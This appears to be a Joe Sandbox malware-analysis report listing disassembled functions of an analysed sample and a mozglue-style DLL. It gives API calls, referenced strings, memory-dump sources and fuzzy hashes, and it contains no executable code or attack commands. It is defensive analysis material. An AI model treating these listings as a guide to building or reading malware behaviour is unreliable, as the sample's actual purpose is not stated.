fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C746EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C746EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C746EFF

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 4c09fc5bfadc054a1f3d562199fda1c1297ab2bd0b17167ce10a18cb916adca4
Instruction ID: c918d00ec15cd969542b81bc6bac6cb3fe593993f9d9c5a7b0a7fbef1f266343
Opcode Fuzzy Hash: 4c09fc5bfadc054a1f3d562199fda1c1297ab2bd0b17167ce10a18cb916adca4
Instruction Fuzzy Hash: C321A4B1A043199FDB00CF69D9896EA77F9FF85308F048039E84997351DB70AA598F92

Function 004163C0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(004210DC,?,?,004165B1,00000000,?,02655988,?,004210DC,?,00000000,?), ref: 0041640C
sscanf.NTDLL ref: 00416439
SystemTimeToFileTime.KERNEL32(004210DC,00000000,?,?,?,?,?,?,?,?,?,?,?,02655988,?,004210DC), ref: 00416452
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,02655988,?,004210DC), ref: 00416460
ExitProcess.KERNEL32 ref: 0041647A

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 133a721e8e5304a43f708b30927c38ecfdd2bdc5b98ba3cf0c569bd1b0c45b2d
Instruction ID: 830abe8b8eab449a7d9cc0da15019f7c77d9f2c5bac1468e5daa421451f66edb
Opcode Fuzzy Hash: 133a721e8e5304a43f708b30927c38ecfdd2bdc5b98ba3cf0c569bd1b0c45b2d
Instruction Fuzzy Hash: EA21E1B5D14208AFCF14EFE4D945ADEB7BABF48304F04852EE50AE3250EB349605CB69

Function 00418D00 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(02679528,?,?,?,00410F1C,?,02679528,00000000), ref: 00418D0C
lstrcpyn.KERNEL32(0062D378,02679528,02679528,?,00410F1C,?,02679528), ref: 00418D30
lstrlenA.KERNEL32(?,?,00410F1C,?,02679528), ref: 00418D47
wsprintfA.USER32 ref: 00418D67

Strings

%s%s, xrefs: 00418D55

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 95580f9ef10e992e71bb9d5f92c0387debde11b91ee44bd877bd47b6543a2d40
Instruction ID: 934000c32db0b3497a9cf3f86b5bcb86f2a34007e8430f093dfbe5a2fe39e620
Opcode Fuzzy Hash: 95580f9ef10e992e71bb9d5f92c0387debde11b91ee44bd877bd47b6543a2d40
Instruction Fuzzy Hash: 4D0121B5500A08FFDB14DFA8D944EAE7B7AEF49354F108148F9099B340C731AA41CB95

Function 6C720D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C6E3DEF), ref: 6C720D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C6E3DEF), ref: 6C720D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C6E3DEF), ref: 6C720DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C720D97, 6C720DBE
<jemalloc>, xrefs: 6C720D92, 6C720DB9

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 762d34cae9e66463ee6015c2d3cabab72807b54ceb4719265d88e12f655b0f43
Instruction ID: 1f7b83a7bae48605de5c03e8f00b742dcb89a34396b961c9493c3fb87fe5739a
Opcode Fuzzy Hash: 762d34cae9e66463ee6015c2d3cabab72807b54ceb4719265d88e12f655b0f43
Instruction Fuzzy Hash: D2F0B43139139923E72411774E2FFAA266D6BC3B24F208035F604DAD80DA98E40556B4

Function 6C737620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C7375C4,?), ref: 6C73762B

Part of subcall function 6C6FCA10: malloc.MOZGLUE(?), ref: 6C6FCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C7374D7,6C7415FC,?,?,?), ref: 6C737644
GetCurrentThreadId.KERNEL32 ref: 6C73765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C7374D7,6C7415FC,?,?,?), ref: 6C737663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C7374D7,6C7415FC,?,?,?), ref: 6C737677

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 86815ea13740d8f00dd1b9d52e79206e793802700574aced626204ae85640099
Instruction ID: ca90b11f507611dc47dccb75c1134d66456f30ff8b80a1d8c23477b1a9e28052
Opcode Fuzzy Hash: 86815ea13740d8f00dd1b9d52e79206e793802700574aced626204ae85640099
Instruction Fuzzy Hash: 31F0AF71E10745ABD7008F62C888676B778FFEB359F114326F90546601E7B0B5D18BD0

Function 0041C131 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C13D

Part of subcall function 0041B95F: __getptd_noexit.LIBCMT ref: 0041B962
Part of subcall function 0041B95F: __amsg_exit.LIBCMT ref: 0041B96F

__getptd.LIBCMT ref: 0041C154
__amsg_exit.LIBCMT ref: 0041C162
__lock.LIBCMT ref: 0041C172
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C186

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: c97b1cd8c1bf5e7720fb8207f6683a26967bfbf4c7aefb49925ecc618f12c84f
Instruction ID: 8423f9a113a1835f1d35103eff65ed0838148ed172a20d49ff88b4dc443596f5
Opcode Fuzzy Hash: c97b1cd8c1bf5e7720fb8207f6683a26967bfbf4c7aefb49925ecc618f12c84f
Instruction Fuzzy Hash: 9EF06271AD5310ABD720BBA95C427DA3790AF00728F15410FE454A62D3CB6C58D19A9E

Function 6C70D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C71CBE8: GetCurrentProcess.KERNEL32(?,6C6E31A7), ref: 6C71CBF1
Part of subcall function 6C71CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6E31A7), ref: 6C71CBFA

EnterCriticalSection.KERNEL32(6C76E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C71D1C5), ref: 6C70D4F2
LeaveCriticalSection.KERNEL32(6C76E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C71D1C5), ref: 6C70D50B

Part of subcall function 6C6ECFE0: EnterCriticalSection.KERNEL32(6C76E784), ref: 6C6ECFF6
Part of subcall function 6C6ECFE0: LeaveCriticalSection.KERNEL32(6C76E784), ref: 6C6ED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C71D1C5), ref: 6C70D52E
EnterCriticalSection.KERNEL32(6C76E7DC), ref: 6C70D690
LeaveCriticalSection.KERNEL32(6C76E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C71D1C5), ref: 6C70D751

Strings

MOZ_CRASH(), xrefs: 6C70D4BB

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 80616ab1e20c221a018b24b036526c6dbdd5cb6b77c94e5c78dc40bb42b14992
Instruction ID: 81824c22d34115ebabf995f8debd2cce530247463d032513a256e87cb468118a
Opcode Fuzzy Hash: 80616ab1e20c221a018b24b036526c6dbdd5cb6b77c94e5c78dc40bb42b14992
Instruction Fuzzy Hash: 8351D1B1B087058FD328CF2AC69472AB7E5EB99344F24493ED999C7F85E770A800CB55

Function 6C734630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C734721

Strings

profiler-paused, xrefs: 6C7346E4
., xrefs: 6C73476A
-%llu, xrefs: 6C734733

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 3db1cddfc7ecb07f14d277f8fd4939f89a869f0781bc74e97b3b1215958cc26c
Instruction ID: d1d3414c6631d4c306966edeb2f8322105c43f1cebfd3dbe06191292d3ad21d1
Opcode Fuzzy Hash: 3db1cddfc7ecb07f14d277f8fd4939f89a869f0781bc74e97b3b1215958cc26c
Instruction Fuzzy Hash: EA419A71F047189BCB08CF79DA4519EBBF5EF85344F14863DE849ABB42EB3198448781

Function 6C7346E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C734721

Part of subcall function 6C6E4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C723EBD,00000017,?,00000000,?,6C723EBD,?,?,6C6E42D2), ref: 6C6E4444

Strings

profiler-paused, xrefs: 6C7346E4
., xrefs: 6C73476A
-%llu, xrefs: 6C734733

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: eccb3cfe09970dd9b9229e9b8f4a4e18aae157ffa8ee47e6546a9db1a4b00b59
Instruction ID: fa2ee79d044cbef1c28f1f1d29eec46a01b97a148fc95acb1be9bb6b5e1ca9d4
Opcode Fuzzy Hash: eccb3cfe09970dd9b9229e9b8f4a4e18aae157ffa8ee47e6546a9db1a4b00b59
Instruction Fuzzy Hash: 7F313971F042189BCB0CCF7DD98969DBFE6DB88314F14413EE8099BB42EB7198048B90

Function 6C73B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6E4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C723EBD,6C723EBD,00000000), ref: 6C6E42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C73B127), ref: 6C73B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C73B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C73B4E4

Strings

pid:, xrefs: 6C73B4DE

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 7d91bc7d9b4274b31d6a8382333a24736f807f95e496fca679eac4501d1b0ac1
Instruction ID: a8f51fe0c851b7b40f226481c954f094172c05e65bcf43e169028c21d05d4daa
Opcode Fuzzy Hash: 7d91bc7d9b4274b31d6a8382333a24736f807f95e496fca679eac4501d1b0ac1
Instruction Fuzzy Hash: 42315531A016288FCB00DFAADA84AEEB7B5FF45308F140529D86967A42D331F844CBE1

Function 004160D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416103

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

ShellExecuteEx.SHELL32(0000003C), ref: 004161C6
ExitProcess.KERNEL32 ref: 004161F5

Strings

<, xrefs: 00416179

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 21474d4951cb1a373e7f2f684682c9e13a8f4613c6062e2282a66cc1ee38bc30
Instruction ID: 54b6532b0b3a1e4a3a0de688d9ef2eddded6cf57616e9fa182c501fcadca31e9
Opcode Fuzzy Hash: 21474d4951cb1a373e7f2f684682c9e13a8f4613c6062e2282a66cc1ee38bc30
Instruction Fuzzy Hash: F6318EB1801218ABCB14EB90CC86FDEB778AF54314F40419EF20962191DF786B88CF69

Function 6C72E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C72E577
AcquireSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C72E584
ReleaseSRWLockExclusive.KERNEL32(6C76F4B8), ref: 6C72E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C72E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C72E777
MOZ_PROFILER_STARTUP, xrefs: 6C72E5A1, 6C72E5CC, 6C72E5FF, 6C72E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C72E722, 6C72E750, 6C72E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C72E826, 6C72E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C72E655

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: bec74bfba437ff6dca4331915763032280f8ecc57dcf2c0bb17fdaaa2380cccc
Instruction ID: 9d73a3b03876a3cc9271225ba21c82d22a7e1d142e29970542d0aa21fe22945c
Opcode Fuzzy Hash: bec74bfba437ff6dca4331915763032280f8ecc57dcf2c0bb17fdaaa2380cccc
Instruction Fuzzy Hash: B411A131604358DFCB009F26C948B69BBB8FB8A328F040529F89547F50C774A905CBA1

Function 004187F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00418FBE,00000000), ref: 004187FB
HeapAlloc.KERNEL32(00000000,?,?,00418FBE,00000000), ref: 00418802
wsprintfW.USER32 ref: 00418818

Strings

%hs, xrefs: 0041880F

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 79e9d64faf86ba83e26f0357b0342198ccb0edd89fdd2a8e15abc92a0c7754c1
Instruction ID: ed9823074eed6dc814ef0c36eacf0fed31b39f083cef978cb02bde33a7ef5422
Opcode Fuzzy Hash: 79e9d64faf86ba83e26f0357b0342198ccb0edd89fdd2a8e15abc92a0c7754c1
Instruction Fuzzy Hash: DAE0EC75A40208FBD720EF94ED0AE6D77A9EB04711F100154FE0997290DA719E119BA9

Function 6C730C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C730CD5

Part of subcall function 6C71F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C71F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C730D40
free.MOZGLUE ref: 6C730DCB

Part of subcall function 6C705E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C705EDB
Part of subcall function 6C705E90: memset.VCRUNTIME140(ewtl,000000E5,?), ref: 6C705F27
Part of subcall function 6C705E90: LeaveCriticalSection.KERNEL32(?), ref: 6C705FB2

free.MOZGLUE ref: 6C730DDD
free.MOZGLUE ref: 6C730DF2

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

